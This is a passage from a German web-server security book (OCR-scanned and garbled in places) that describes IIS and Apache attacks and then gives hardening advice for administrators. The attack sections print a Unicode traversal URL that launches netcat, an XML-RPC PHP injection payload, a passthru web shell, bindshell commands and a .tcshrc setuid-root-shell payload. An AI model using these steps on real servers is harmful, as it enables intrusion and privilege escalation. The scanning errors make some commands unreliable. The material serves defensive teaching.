kopieren wir via ,tftp.exe” ein Trojanisches Pferd (ncx99.exe, netcat) von unserem
lokalen Rechner (192.168.74.29) auf den IIS-Server (192.168.74.203). TFTP ist ein
sehr simples Programm zum Kopieren von Dateien von einem Rechner auf einen
anderen ohne Angabe von Logins oder Passwortern. Mit dem “get”-Befehl kopie-
ren wir die Datei vom tftp-Server (unserem lokalen Rechner) in das
“linetpubl/scripts/”-Verzeichnis auf dem IIS-Server.

Wir konnten fiir unser Trojanisches Pferd einen diskreteren Namen, wie zum Bei-
spiel “ping.exe” wahlen, damit die Datei vom Administrator nicht gefunden wird.
Andere Arten von Trojanern haben einen so genannten Stealth-Modus und werden
vom Task-Manager nicht aufgelistet. Aus diesem Grund ist es nicht so einfach, sie
sofort zu erkennen.

Nachdem das Trojanische Pferd auf den Server kopiert wurde, suchen wir es im
Verzeichnis des IIS-Servers mit der nun bekannten, oben gezeigten Unicode-
Zeichenkette.

Mit dem String “http://192.168.74.203/cgi-bin/..%c0%af..%c0%af.. Yoc0%af..%oc0%af..
Y%oc0%af..%c0%af..%c0%af..%oc0%aflinetpub/scripts/cmdl.exe?/c%20ncx99.exe”  wird
der Trojaner ,ncx99.exe” gestartet und wartet auf Verbindungen. Netcat ist ein
Tool, mit dem der Angreifer den gekaperten Rechner so fernsteuern kann, als
wiirde er direkt vor dem Rechner sitzen. Das heif$t, er ist in der Lage, Dateien oder
Verzeichnisse sowohl zu 18schen als auch zu verdndern oder zu erstellen. Das Tro-
janische Pferd verfiigt ebenfalls {iber die Moglichkeit, andere Programme oder
Services auf dem angegriffenen Rechner zu implementieren. Das konnte bei-
spielsweise ein FTP-Server sein, der fiir illegalen gemeinsamen Dateizugriff (urhe-
berrechtliche geschiitzte Filme, MP3 oder Pornographie) verwendet wird.

12.1.1 Lockout-Funktion auf einem Web-Server

Stellen Sie sich vor, Sie betreiben einen IIS-Web-Server. Es ist dabei nicht relevant,
ob es sich hierbei um einen IIS 4.x, 5.x oder 6.x handelt. Das Wichtige ist, Sie haben
die Richtlinien des Betriebssystems so eingestellt, dass ein Account nach einer be-
stimmten Anzahl von Fehlversuchen bei der Passworteingabe gesperrt wird, sei es
auch nur fiir eine bestimmte Zeit. Wenn ein potentieller Angreifer den Hostnamen
eines IIS-Web-Servers herausgefunden hat, kann er sich diese Einstellung zunutze
machen. Der Anonymous-Account fiir einen IIS-Web-Server setzt sich normaler-
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weise so zusammen: IUSR_<HOSTNAME_DES WEB-SERVERS>. Nun schickt er
Requests an diesen Web-Server, die eine Authentifizierungsanfrage fiir den Ano-
nymous-Account beinhalten, und beantwortet diese Requests mit falschen Anga-
ben. Er sendet seine Requests so lange, bis der Account vom Betriebssystem ge-
sperrt wird. Per Skript kann er diesen Vorgang jetzt immer wiederholen, vorzugs-
weise an einem Wochenende, in der Nacht oder kombiniert. Der Web-Server wird
keine Daten mehr senden und steht dem Anwender nicht mehr zur Verfiigung.

12.1.2 RPC-DCOM-Verwundbarkeiten

Der Windows 2003-Server ist tiber die Schnittstelle DCOM (Distributed COM) an-
greifbar (Erscheinungsdatum Juli 2003). Das iiber Remote Procedure Call realisier-
te DCOM-Interface weist einen Pufferiiberlauf auf. DCOM dient zur Kommunika-
tion von Software-Komponenten iiber das Netzwerk, dhnlich wie COM die Zu-
sammenarbeit von Komponenten lokal auf dem Rechner ermoglicht.

Der Pufferiiberlauf wird durch ein speziell formatiertes Paket ausgeldst, das an ei-
nen RPC Port (u.a. die Ports 135, 139, 445) gesendet wird. Infolgedessen kann ein
beliebiger Programmcode auf dem Rechner ausgefiihrt werden, wie z.B. das Star-
ten einer Command-Shell. Auf einigen Rechnern fiithren die im Netz verfiigbaren
Exploits zu einem DoS und dadurch zu einem Absturz des Rechners.

Microsoft hat sehr zeitnah einen Patch zur Verfligung gestellt [/21/]. Es ist erstaun-
lich, wie viele Administratoren diesen Patch, der schon seit drei Jahren vorliegt,
noch nicht installiert haben.

Was kann aus diesem Kapitel auf das eigene Netzwerk iibertragen werden?

Schauen Sie sich Ihr System genau an. Welche Dienste laufen auf dem Web-Server
und welche Dienste benétigen Sie. Erstellen Sie eine Liste mit allen Diensten fiir
eine saubere Dokumentation. Erfahrungsgemafs verabschiedet sich ein System
dann, wenn Sie im Urlaub am Strand liegen. Ist Ihre Dokumentation nicht liicken-
los und verstandlich, haben Sie am Strand eine lange Erklarung mit Ihrem Handy
vor sich.

Testen Sie die Systeme oder identische Testsysteme, indem Sie in regelméfiigen
Abstianden Reboots durchfithren — Laufen nach einem solchen Reboot alle Dienste
einwandfrei?

Seien Sie vorsichtig beim Setzen von Accountsperren nach der Passworteingabe
auf einem IIS-Web-Server.
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Auch der Apache-Web-Server ist Angriffen gegeniiber anfillig. Wie der IIS, ist
auch der Apache in den éalteren Versionen des 1.3 gefdhrdet durch den Unicode-
bug nach einer Defaultinstallation. So kann bei einem Apache-Server unter Win-
dows fiiber die mitgelieferten Testdateien eine Kommandoshell geéffnet werden,
da eine Liicke bei der Vergabe der Benutzerrechte ausgenutzt wurde. Standardma-
Big werden Apache-Systeme unter Windows NT, 2000 und XP mit Systemrechten
installiert.

Apache behandelt Argumente, die an CGI-Programme mit der Endung ,.bat” oder
,.cmd” iibergeben werden, damit CGI Requests, die das "Pipe"-Zeichen "|" enthal-
ten, beliebige Befehle mit den Rechten des Apache-Prozesses ausfiihren. Der Fehler
ist ab den Versionen 1.3.24 und 2.0.34-beta behoben.

13.1 Der PHP XML-RPC-Bug

XML-RPC wird in vielen Anwendungen eingesetzt, wie z.B. TikiWiki, Xoops,
PHPGroupWare, b2evolution oder auch PostNuke.

Administratoren konnen in den Logfiles Eintrdge wiederfinden, die einen Verbin-
dungsaufbau und eine versuchte (oder auch erfolgreiche) Ausfithrung des , wget“-
Befehls zeigen. Uber einen Fehler beim Parsen von XML-Dokumenten in einem “e-
val()”-Aufruf kann Code mit einem speziell codierten XML-Dokument auf dem be-
troffenen Rechner ausgefiihrt werden:

“DOMAIN.XY - - [12/]an/2007:11:10:22 +0200] "POST /PFAD/xmlsrv/xmlrpc.php
HTTP/1.1" 200288 "-" "-"".

Durch die Nutzung im XML-Dokument von einfachen Anfithrungszeichen oder
auch Single Quotes (*'’) genannt, kann auf dem Server ein Befehl ausgefiihrt wer-
den.

So liefert zum Beispiel das folgende Beispiel nach Aufruf alle Infos zur installierten
PHP-Version (,,phpinfo()”):

<?xml version="1.0"?>
<methodCall>
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<methodName>phpinfo.method</methodName>
<params>
<param>
<value><name>',"’)); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall>

Wenn Sie nachpriifen mochten, ob Ihre Webseiten ebenfalls anfillig sind, kénnen
Sie dies auf der Security-Focus-Seite [/27/] nachpriifen. Dort sind Exploits zu fin-
den, die Sie gegen Ihre PHP-Implementation testen konnen.

13.2 Pufferiiberlauf im Apache Tomcat Connector

Anfang Marz 2007 wurde iiber eine sehr kritische Sicherheitsliicke im Apache
Tomcat Connector berichtet.

Diese Liicke basiert auf einem Pufferiiberlauf-Error in der ,mod_jk“-Bibliothek, die
bei einer Verarbeitung von URLs, die grofier als 4095 Bytes sind, durch die Metho-
de ,map_uri_to_worker()” auftreten. Dadurch kann ein Angreifer durch speziell ge-
stellte Anfragen Befehle als Administrator an den Server senden und die Kontrolle
ubernehmen.

Betroffen sind alle Versionen kleiner 1.2.21, sowie die Tomcat-Versionen 5.5.20 und
4.1.34.

So ist es z.B. mit einem speziell formatierten GD-Image moglich, eine solche {iber-
lange URL zu erstellen.

13.3 Der Angriff auf die Software Foundation Web-Server

Der folgende skizzierte Angriff basiert auf einer Attacke auf die Web-Server der
Software Foundation. Bei dieser Form des Angriffs wurden keine Bugs in der
Software des Apache-Servers selber ausgenutzt, sondern Konfigurationsfehler.

Der Angreifer hat als Erstes die Server gescannt und sich ein Bild von der Umge-
bung gemacht, in der die Dienste und Web-Server laufen.
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Dabei hat er festgestellt, dass ftp://ftp.apache.org direkt auf http://www.apache.org
gemappt war und dass sich im Bereich des FTP-Servers einige »world writable«-
Verzeichnisse befanden, also Verzeichnisse mit der Codierung , mode 777

Das ermdglichte das Heraufladen eigener Dateien. In diesem Fall wurde ein klei-
nes PHP-Skript (skript.php3) auf den Server geladen:

<?
passthru($cmd);
7>
Das Skript dient nun dazu, Kommandos auf dem Server auszufiihren. Als Test
kann man folgenden Aufruf starten:

http://www.servername.com/verzeichnisname/skript.php3?cmd=id

Hier wurde an den Server der ,id“-Befehl gesendet, der in einer Shell auflistet,
welche User-ID (UID) und welche Group-ID (GID) einem Benutzer zugeordnet
sind. Jeder Prozess tragt die UID und die GID seines Erzeugers.

Im nachsten Schritt wurde eine Backdoor mit dem Namen , bindshell.c” auf den
Rechner gespielt und kompiliert:

http:/lwww.servername.com/verzeichnisname/skript.php3? cmd=gcc+-
ot+httpd+httpd.c

Ein Beispielcode ist im Anhang D zu finden. Diese bindshell bietet, wie der Name
schon angibt, eine Shell und bindet sie als eigenen Prozess an einen Port. So kann
remote iiber diesen Port auf diese Shell zugegriffen und Code ausgefiihrt werden.

http://www .servername.com/verzeichnisname/skript.php3?cmd=./htt
pd
Nach diesem Aufruf konnten sich der oder die Angreifer per Telnet und dem Port
1352 als User , nobody“ einloggen, da der Apache unter diesem User lief:

telnet www.servername.com 1352

Die bindshell wurde dann noch per Passwort geschiitzt, um einen exklusiven Zu-
gang zu gewahrleisten.

Danach war es ein Leichtes, das System zu durchstobern, um weitere Schwach-
punkte zu finden. In diesem Fall wurden sie beim installierten MYSQL-Server ge-
funden, der unter root lief, sowie einer installierten Version des Bugtrackingtool
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Bugzilla. Um an eine MYSQL-Kennung zu kommen, musste jetzt nur nach einer
bestimmten ASCII von Bugzilla gesucht werden, da Bugzilla den MYSQL-Account
in einer ASCII-Textdatei speichert!

Mit Hilfe des Tools ,nportredird” wurden auch Ports umgelegt, so dass per
MYSQL-Client auf den Rechner zugegriffen werden konnte. Der MYSQL User
,bug” hatte in der Datenbank alle Rechte. Obwohl in der Dokumentation von Bug-
zilla darauf hingewiesen wurde, konnten nun Anweisungen ausgefiithrt werden,
da der MYSQL-Server auch unter root lief.

So wurden mittels ,SELECT ... INTO OUTFILE;” iiberall im System Dateien mit
Rechten unter ,root” erzeugt bzw. iiberschreiben, so dass Anweisungen ausge-
flihrt werden konnen.

Danach wurde eine sehr interessante Taktik eingeschlagen. Es wurde eine neue
Tabelle in der Datenbank mit dem Namen , Test” angelegt. In diese Tabelle wurde
ein Feld mit einer Grofie von 80 Zeichen eingefiigt und mittels ,SELECT field
FROM test INTO OUTFILE /root/.tcshrc” Shellcode eingefiigt:

#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh

rm -f [root/.tcshrc

Jetzt musste nur noch gewartet werden, bis ein User mit root-Rechten den Befehl
~su” eingab und danach das Passwort lieferte.

Was kann aus diesem Kapitel auf das eigene Netzwerk iibertragen werden?

Die oben aufgefiihrten Beispiele sollen zeigen, dass es nicht immer Schwachstellen
in der Software sein miissen, die ein Eindringen in Systeme ermdglichen. Auch
durch falsche Konfigurationen und das nicht aufmerksame Lesen von Dokumenta-
tionen schaffen es Angreifer manchmal, offene Tiiren in Systemen auszunutzen.

Lesen Sie sich die beiliegenden Dokumente aufmerksam durch. Sehen Sie sich
auch, wenn vorhanden, FAQ-Listen an, die fast jeder Hersteller auf seiner Home-
page anbietet oder die auf Forenseiten zu finden sind. Sie liefern sehr oft interes-
sante und wichtige Informationen und Listen mit Fragen von anderen Anwendern
mit dhnlichen Problemen oder Hinweisen zur Installation und Absicherung der
Software.
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Aber passen Sie auf, wenn Sie selber in einem Forum Fragen zur Installation oder
delikate Einzelheiten Ihrer eigenen Installation haben. Nennen Sie keine Firmen-
und Domainbezeichnungen und geben Sie auch nicht die Emailadresse Ihrer Firma
an. Oft suchen Angreifer in diesen Foren nach offenen Fragen und ziehen Riick-
schliisse iiber die hinterlegten Informationen.
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MafSnahmen, die Sie treffen, um Ihre Systeme abzusichern, konnen nicht pauschal
getroffen werden. Die nachfolgend beschriebenen Schritte sollten, bevor Sie auf Ih-
re Echtzeitsysteme tiibertragen werden, auf einem baugleichen System getestet
werden. Legen Sie sich eine Sicherungskopie Ihrer Systeme an, wenn Sie das nicht
bereits getan haben. Mit Knoppix® z.B. haben Sie die Moglichkeit, Systeme nach
einem Crash zu analysieren und in vielen Féllen zu retten.

Ein Windows Server-2003 zum Beispiel hat nach einer Defaultinstallation (Anwen-
dungs-Server)

- 7 gedffnete Ports

- 3 Protokoll-Bindungen
- 37 laufende Dienste

- 20 laufende Prozesse.

Dieser Umstand sollte Anlass genug sein, einen genaueren Blick auf das System
und die dort installierten Dienste zu werfen.

Erstellen Sie zuerst eine Sicherheitsrichtlinie fiir Ihren IIS-Server.
Legen Sie darin fest, wer
- auf das System zugreifen darf,
- von wo auf das System zugegriffen werden darf (Internet, Intranet).

- Welche Benutzer diirfen auf welche Verzeichnisse zugreifen und wer
darf Dateien ausfiithren oder nur lesen?

- Muss sich ein Anwender authentifizieren?

- Wie werden die installierten Dienste ausgefithrt? Wurden die einzel-
nen Prozesse mit Administratorrechten gestartet?

- Wie sehen Datenbankverbindungen aus? Laufen diese auf einer sepa-
raten Maschine? Wenn ja, wie ist die Absicherung dieser Verbindung,
falls eine User-ID und ein Passwort {ibertragen werden?

» http://www.knoppix.org/
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- Binden Sie diese Mafinahmen in Thre Audit- und Datenschutzmass-
nahmen ein.

14.1 Grundlegende MaRnahmen

Die grundlegenden Mafinahmen beinhalten einfache, aber wirkungsvolle Schritte,
die in vielen Fallen nichts kostet, aufSer der Zeit, die man investiert. Aber die Absi-
cherung der Systeme ist eine der wichtigsten Aufgaben eines jeden Administrators
oder Systemverantwortlichen.

Dass auf jedes System ein Virenscanner gehort, ist selbstverstandlich, auf der ande-
ren Seite aber auch wieder nicht. Es sollte sich hierbei um einen Virenscanner han-
deln, der eine zentrale Verwaltung und Uberwachung mit automatisierter Benach-
richtigung per Email/SMS etc. beinhaltet, wie Systeme von F-Secure mit dem Poli-
cy Manager Server, eTrust von Computer Associates oder McAfees-Systeme.

Diese Systeme lassen sich alle zentral organisieren, so dass auch Installationen,
Updates und Uberwachungen in groleren Systemen zeitnah geschehen kénnen.

Die Intervallzeiten fiir automatisierte Updates der Virensignaturen sollten bei 10
Minuten liegen.

14.1.1 Updates installierter Systeme und Programme

Administratoren miissen ihre Systeme immer auf einen aktuellen Stand bringen.
Spielen Sie Updates, Hotfixe usw. zeitnah ein. Testen Sie die Updates und Hotfixe
auf einem baugleichen Testsystem, bevor Sie diese auf einem Produktivsystem ein-
spielen. Zu beachten ist, dass es sich dabei immer um einen Patch von Microsoft
handelt [/13/].

Wenn fiir eine bekannte Liicke noch kein Update vorliegt, suchen Sie in verlassli-
chen Quellen nach Workarounds, z.B. auf der Homepage von Microsoft oder der
Securityfocus-Seite.

Tragen Sie sich dazu in einschldgige Mailinglisten ein, um immer auf dem Laufen-
den zu sein, was News aus den Bereichen Bugs und IT-Sicherheit betrifft. Dazu
gehoren z.B. die folgenden Mailinglisten:

- Microsoft Mailinglist [/12/]
- Securityfocus Mailingliste [/14/]
- SANS Internet Storm Center [/16/]
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- Mailinglisten der Hersteller von Antivirenprodukten (McAfee, Sophos,
F-Secure etc.)

- Apache Mailingliste [/17/]

Nutzen Sie den Software-Update-Service von Microsoft (SUS) [/15/]. Mit diesem
kénnen Sie einen lokalen Update-Server in Ihr Netzwerk integrieren und Updates
auf alle Windowssysteme (ab 2000/XP Desktop-Systeme und 2000-/2003-Server)
verteilen.

Das Einschalten der Loggingfunktion fiir das An- und Abmelden am Server sollte
aktiviert sein, um alle Zugriffe zu protokollieren. Dazu wéhlt man in der Sys-
temsteuerung den Bereich der Verwaltung und dort die ,Lokalen Sicherheitsein-
stellungen” (siehe Abbildung 17):

Eﬁ Lokale Sicherheitseinstellungen
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@ BB 2

@ Sicherheitseinstellungen

Richtlinie | Sicherheitseinstellung ‘
-2 Kankerichtlinien nctive Directory-Zugriff dberwachen  Keine Uberwachung
= m Lnka_\_e Richtlirien nmeldeereianisse Uberwachen Keine Uberwachung
o @ Uhﬁwa[hung“i[ht“”ig Anmeldeversuche Oberwachen Keine Ubsrwachung
=08 ZHWE'SE"T VDH.BEHUHE' @Knntenwarwa\tung Uherwachen Erfolgreich, Fehlges...
& [_ElEhf\licnlwﬂ.:;:ift;:iitcli:gch\ Oh]aktzuganstrsuthe iiberwachen  Keine Uberwachung
(23 Richtlinien For Softwaresine szassvsrfnlguﬂg iiberwachen Keine Uberwachung
+ lg IP-SicharhsibsrichHinizn 20 Rachtaverwendung Uberwachen Keine Uberwachung
R\chthnienénderungen Uberwachen  Keine Uberwachung
Systamereignisse (berwachen Keine Uberwachung

Abbildung 17: Lokale Sicherheitseinstellungen

Bei mehreren Systemen kann dies tiber die Group-Policy-Einstellungen gesteuert
werden.

Kontrollieren Sie in diesem Zusammenhang auch, ob die Updates installiert wur-
den. Im Juli 2006 berichtete der Heise Online-Dienst von Problemen beim Einspie-
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len der Updates im Zusammenhang mit dem IIS-Server [/22/]. Die Updates wur-
den auf dem IIS-Server installiert, der IIS blieb allerdings in Betrieb und wurde
nicht neu gestartet. Neu eingespielte Dateien, in diesem Fall die Datei ,asp.dll”,
wurden nicht neu geladen. Die alte und verwundbare Datei ,asp.dll” blieb somit
im Zugriff des Servers und enthielt die bekannten Schwachstellen.

14.1.2 Entfernung aller unnétigen Script-Mappings und Beispieldateien

Das Entfernen aller unnotigen Script-Mappings, die im Zusammenhang mit dem
IIS stehen, ist eine der ersten Aufgaben, um ein System zu hérten.

Es sollten alle Script-Mappings, die nicht unbedingt notwendig sind, entfernt wer-
den.

Offnen Sie dazu den Internet Services Manager (Internet Information Services
Snap-In fiir die MMC). Klicken Sie dann mit der rechten Maustaste auf den Web-
Server und wihlen den Kontextmeniipunkt , Properties” und , HomeDirectory” und
»Configuration” aus. In diesem Menii haben Sie die Moglichkeit, die folgenden Ein-
trdge zu entfernen, sofern diese Script-Mappings nicht wirklich bendtigt werden:

e _htr (Web-based password reset)

e .idc (Internet Database Connector)
e .stm (Server-side Includes)

e _shtm (Server-side Includes)

e _shtml (Server-side Includes)

e .printer (Internet Printing)

e _htw (Index Server)

e _htx (Index Server)

e .ida (Index Server)

e .idq (Index Server query)

Wenn Sie mit einer Group Policy arbeiten, konnen diese Einstellungen auch dar-
tiber eingestellt und auf alle Web-Server verteilt werden. Sollte beispielsweise in
der Group Policy , Enable Web printing” aktiviert sein, wird die Script-Mapping
”.printer” beim ndchsten Systemstart wieder hinzugefiigt. Sollten Sie die "administ-
rative Templates" in der Group Policy einsetzen, kontrollieren Sie bitte ihre dorti-
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gen Einstellungen und stellen sicher, dass "Enable Web printing" deaktiviert ist,
sofern Sie diese Funktion nicht bendtigen.

Entfernen Sie auch alle Beispiel- und Hilfedateien bzw. verschieben Sie diese in
andere vom Web-Server (IIS 4/5) nicht erreichbare Verzeichnisse, wenn Sie diese
Dateien spater noch einmal benétigen. Der IIS 6 installiert keine Beispieldateien
mehr.

Unter diese Dateien und Verzeichnisse fallen:
- c\inetpub\iissamples
- c\program files\commonfiles\system \msadc

- c\winnt\help\iishelp

14.1.3 Zugriffsrechte fiir die Verzeichnisse festlegen

Nach der Installation des IIS-Servers lohnt es sich immer, sich die Ordnerstruktur
mit ihren Zugriffsrechten anzusehen und zu kontrollieren.

Grundsatzlich ist zu sagen, dass ein Web-Server immer auf einem NTFS-
formatierten Laufwerk installiert wird. Nur unter NTFS ist eine sicherere Inbe-
triebnahme und Kontrolle der Zugriffe moglich als unter FAT/FAT32.

Haben Sie Thren IIS auf einem FAT/FAT32-formatierten Laufwerk installiert, kon-
nen Sie noch nachtraglich eine Formatierung vornehmen. Das folgende Beispiel
konvertiert das Laufwerk ,d:\ “ von FAT nach NTFS:

convert d: /fs:ntfs

(] Bitte beachten Sie:

Die Anwendung von CONVERT fiihrt leider immer zu einer Cluster-Grofie
von nur 512 Byte. Dadurch ergeben sich Einbufien bei der Performance. Das
Andern der Grofe auf z.B. 4 KByte kann nur mit externen Tools wie einem
Partition_Manager durchgefiihrt werden!

Bevor Sie einen solchen Eingriff vornehmen, sollten Sie Thre Daten allerdings si-
chern.

Die beiden Ordner (falls diese Dienste bei der Installation des IIS ausgewahlt wur-
den)
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e \inetpub\ftproot (FTP server)
e \inetpub\mailroot (SMTP server)

besitzen standardmafsig Zugriffsrechte in der Form von , Everyone Full Control”,
die je nach Notwendigkeit eingeschrankt werden sollten.

Schauen Sie sich in diesem Zusammenhang auch die Option der , iibergeordneten
Pfade” an. Darunter sind Zugriffe mit Pfadangaben wie z.B. mit ,..” (vergleichen
Sie dazu den Unicode-Bug).

Ist diese Option bei Ihrem IIS-Server aktiviert, ist es moglich, dass ein Skript auf
ein Verzeichnis aufSerhalb Thres Documentroot und auf ausfithrbare Dateien zu-
greift und diese startet, wie z.B. eine Kommandoshell (,,crmd.exe”).

Unterbinden Sie einen solchen Versuch, indem Sie die Rechte zum Ausfithren von
Dateien fiir die iibergeordneten Verzeichnisse einschranken oder diese Option
ganz deaktivieren. Offnen Sie dazu in der Microsoft Management Console (MMC)
mit einem Rechtsklick die Eigenschaften einer Web-Seite. Anschlieffend ist unter
dem Reiter Basisverzeichnis der Mentipunkt , Konfiguration” zu wahlen. Dort sind
unter dem Reiter , Anwendungsoptionen” die ,,Ubergeordneten Pfade” zu deakti-
vieren.

Beim IIS 6.0 sind die folgenden Rechte nach einer Installation fiir den Ordner
, \wwwroot” standardmafiig gesetzt:

Security Princi- |Vollzugriff |Andern |Lesen & Ordner- |Lesen Schreiben
pal Ausfithren |inhalt

auflisten
Administrators |Zulassen Zulassen |Zulassen Zulassen |Zulassen Zulassen
IIS_WPG Zulassen Zulassen |Zulassen
Internet Guest Verweigern
Account
SYSTEM Zulassen Zulassen |Zulassen Zulassen |Zulassen Zulassen
Users Zulassen Zulassen |Zulassen

Tabelle 2: Standardeinstellungen /wwwroot
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14.1.4 Den lIS-Dienst als separaten Dienst laufen lassen

Dieser Hinweis bezieht sich auf die Versionen IIS 4.0 und 1IS 5.0. Fiir IIS 4 6ffnen
Sie die Eigenschaften fiir die Website oder die Anwendung des virtuellen Ver-
zeichnisses. Dort wihlen Sie “Run in separate memory space (isolated process)”.

Fiir den IIS 5 finden Sie in den Eigenschaften fiir die Website oder der Anwendung
des virtuellen Verzeichnisses die Registerkarte , Basisverzeichnis”. Danach kénnen
Sie aus der Dropdown-Liste den , Anwendungsschutz Medium (pooled)” oder ,Hoch
(isolated)” auswahlen.

14.1.5 Harten des Betriebssystems

In den folgenden Abschnitten werden die Mafinahmen beschrieben, wie Sie als
Systemverantwortlicher den Apache- und den IIS-Server harten konnen.

Grundsatzlich gelten fiir alle Systeme:
e Deaktivierung nicht benotigter Dienste
¢ Installation nur der notwendigsten Systemkomponenten
¢ Einschrankung der administrativen Zugriffe

¢ Einsatz von Sicherheitsvorlagen

Héarten vom Windows-Server

Fiir Microsoft Server 2003 [/18/]

Die oberste Regel beim Hérten Threr Windows-Systeme ist die fortwahrende Aktu-
alisierung der Systeme mit Updates. Fiihren Sie Updates auf Ihren Systemen sofort
aus, wenn diese getestet wurden. Wenn moglich, erstellen Sie vorher ein Image des
Systems, falls Sie zu einem spéteren Zeitpunkt doch Probleme registrieren.

Mit der Updatefunktion von Microsoft oder den heutigen Softwareverteilungssys-
temen stellt das selbst fiir Administratoren mit grofSen Netzen kein Problem mehr
dar.

Lassen Sie sich auch regelmafiig durch Newsletter iiber aktuelle Gefahrdungen
und Sicherheitsrisiken und deren Gegenmafinahmen informieren. Dazu eignen
sich die Microsoft eigenen Newsletter, aber auch die Angebote von anderen Un-
ternehmen wie Packetstormsecurity?°.

30 http://technet.microsoft.com/de-de/default.aspx und
http://packetstormsecurity.org/
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Erforderliche Dienste des Betriebssystems

Machen Sie sich mit den fiir Ihr System erforderlichen Diensten vertraut. Im Nor-
malfall benétigt ein Windowssystem die folgenden Dienste:

Name des Dienstes |[Funktion Startart
COM+ Event System [Betriebssystem Manuell
Cryptographic Ser-  [Betriebssystem (Sicherheit) Automatisch
vices
Event Log Betriebssystem Automatisch
[PSec Services Betriebssystem (Sicherheit) IAutomatisch
Logical Disk Manager [Betriebssystem (Festplattenmanagement) IAutomatisch
Logical Disk Manager [Betriebssystem(Festplattenmanagement) Manuell
IAdministrative Ser-
vice
COM+ Event System [Betriebssystem Manuell
INetwork Connections [Betriebssystem(Netzwerkinfrastruktur) Manuell
INTLM Security Sup- [Betriebssystem (Sicherheit) Manuell

ort Provider
Plug and Play Betriebssystem |Automatisch
Protected Storage Betriebssystem (Sicherheit) Automatisch
Remote Procedure  [Betriebssystem IAutomatisch
Call (RPC)
Secondary Logon Betriebssystem (Sicherheit) Automatisch
Security Accounts Betriebssystem IAutomatisch
Manager
Smart Card Betriebssystem (Sicherheit) Manuell
System Event Notifi- [Betriebssystem IAutomatisch
cation
Virtual Disk Service [Betriebssystem (Festplattenmanagement) Manuell
(VDS)
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Windows Manage-  [Betriebssystem (WMI) |Automatisch
ment Instrumentation

(WMI)

WMI Performance  [Betriebssystem (WMI) Manuell
Adapter

Tabelle 3: Erforderliche Dienste unter einem Windows System

Windows lasst zum Beispiel keine Deaktivierung des RPC-Dienstes (TCP 135 und
hohere Ports) zu, sondern sie miissen bei Bedarf iiber eine eigene Firewall geblockt

werden

Anpassen und Erstellen einer Security Policy

Erstellen Sie fiir Ihr Unternehmen eine Security Policy. Sie dient der Definition al-
ler technischen Abldufe und Dokumentationen, legt aber auch organisatorische
Mafsnahmen fest, wie Datenschutzfragen oder Mitarbeiterverpflichtungen zum
Thema Umgang mit Internet und Email.

Legen Sie darin fest, was in einem Notfall zu tun ist:

Welcher Ansprechpartner ist zustandig fiir welche Dienste und Systeme?
Konnen diese Systeme im Notfall einfach abgestellt werden?
Welche Befehlskette ist im Notfall einzuhalten?
Gelten diese Mafsnahmen zu jeder Tageszeit? Was ist mit Nachtschichten?
Wer trifft endgiiltige Entscheidungen?
Was ist ein Notfall:

o Virenbefall

o Eindringling im Netzwerk

o Datenverlust

Machen Sie sich auch Gedanken iiber die physikalische Situation Ihrer Server und

Raume:

Zugangs- und Uberwachungssysteme zu den Serverraumen, Magnetkar-
ten, Feuerschutztiiren, Brandmelder oder eine Kamera.

Diebstahlschutz sowohl auf physikalischer als auch auf reiner Datenebene.
DVD-Brenner im Server und den Workstations, USB-Schnittstellenzugang
fiir jeden oder Anschlussmoglichkeit externer Festplatten.
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e Zugangskontrolle zu den EDV-Biiroraumen. Damit ist z.B. Ihr Biiro ge-
meint. Sind dort eventuell Passworter in Ordnern abgelegt oder hangen
Netzwerkplédne frei zuganglich an der Wand? Es gibt Unternehmen, bei
denen alle Netzwerkinformationen aus dem Besucherraum heraus auf den
dort angebrachten Planen ersichtlich sind, inklusive IP-Adressen.

maH

Datei  Aktion  Ansicht 7

@ =l

Eige nschaften von Ereignisprotokollierung fiir Herunt... Elg‘

= Richtlinien Fir Lokaler Computer Einstellung
E] Elm;“::’k""ﬁq”ﬁ‘”” gﬂenutzerpmfﬂe Einstelung | Exklérung
5 oftwaresinstelungen Shripts
windows-Einstell
% (2 windows Enstellungen (CJanmeldung {4 Ersinisprotokolieruna fiir Herunterfahren anzsigen
=[] Administrative Yorlagen
: [CdDatentragerkontingente
(L] Windows-Komponenten
[(Metzwerkanmeldung
=45 System () Nicht konfiqurisrt
[ Benutzerprofil [ Gruppenrichtlinien
@ shrpts [CIRemoteunterstitzung O akiiviert
@8 prmetang [C05ystemwiederhersteiung (O
(1 Datentragerkontingente gFEh‘E'bE”Ehtefmttuﬂg Ereignisprotokolierung fir Herunterfahien soll angezeigt werder
+ (1 Metzwerkanmeldung windows-Dateischutz
(21 Gruppenrichtlinien (IRemateprozeduraufruf
(23 Remokeunterstitzung [(Dwindows-Zeitdienst
(23 systemwiederherstellung [Cinternetkommunikationsverwaltung
(2] Fehler berichterskattung ([ Distributed COM
(3 windows-Dateischutz {3 Potentiell unsichere Funktionsn dsr HTML-Hife auF bestimmten Cr.
(2 Remokeprozeduraufruf {2 Bei der Anmeldung die Seite "Serververwaltung nicht anzeigen
#- (] windows-Zsitdienst {3 Ersignisprotokolieruna fiir Herunterfahren snzsigen
= [ Internethommunikationsverwsleun: | &5 o, cerneratysdatenFeature in "Ereignisprotakolierung fir Herunte,|
& ‘;—_—ltI’:i’”:tcko":m”"'kﬂ“”“e'"“e‘ (5 Bestandigen Systemzeitstempsl aktiviersn
i é NEtZV‘;’L L % Windows-Installationsdateipfad angeben Unterstiitzt auf. Mindestens Microsoft Windows P Professional oder
(=4 Windows Serwice Pack-Installationsdateipfad angeben o 3
(23 Drucker Worherige Einstellung HNachste Einstellung
= off Benuzerkonfiguration {3 Statusmeldungen zum Heustart, Heruntsrfahren, Anmeldung und

(&M AusFihrliche im Vergleich 2u narmalen Meldungen

+ (13 Softwareeinstellungen

+ (11 windows-Einstellungen @ Ausfihrung aus der Hife Fiir Folgende Programme nicht zulassan [ OK. 1 [ Abbrechen ] [ (Obermehmen
+ (1] Administrative worlagen <4 Autoplay deaklivieren
Dateien, die in verschiiisselts Ordner verschoben werden, nicht a...  Hicht konfiguriert
{2 Fehlende COM-Komponenten Gbertragen Wicht konfiguriert
{3 verwendung von Domanenressourcen Fiir Uberwachung vertsilter...  Nicht konfigurisrt
{55 System nicht susschialten, nachdem Windows heruntsrgefahren ... Hicht konfiguriert

{2 Eingabeauffarderung zur Suche nach Geratetreibern auf Window...  Nicht konfiguriert

$ |\ Erweitert j Standard

74 Start Ecwm@Y > [Ee. [wo. [&F

Abbildung 18: Logging beim Herunterfahren Windows 2003 Server

Haben Sie sich nicht schon ofter {iber die Abfrage beim Herunterfahren eines Win-
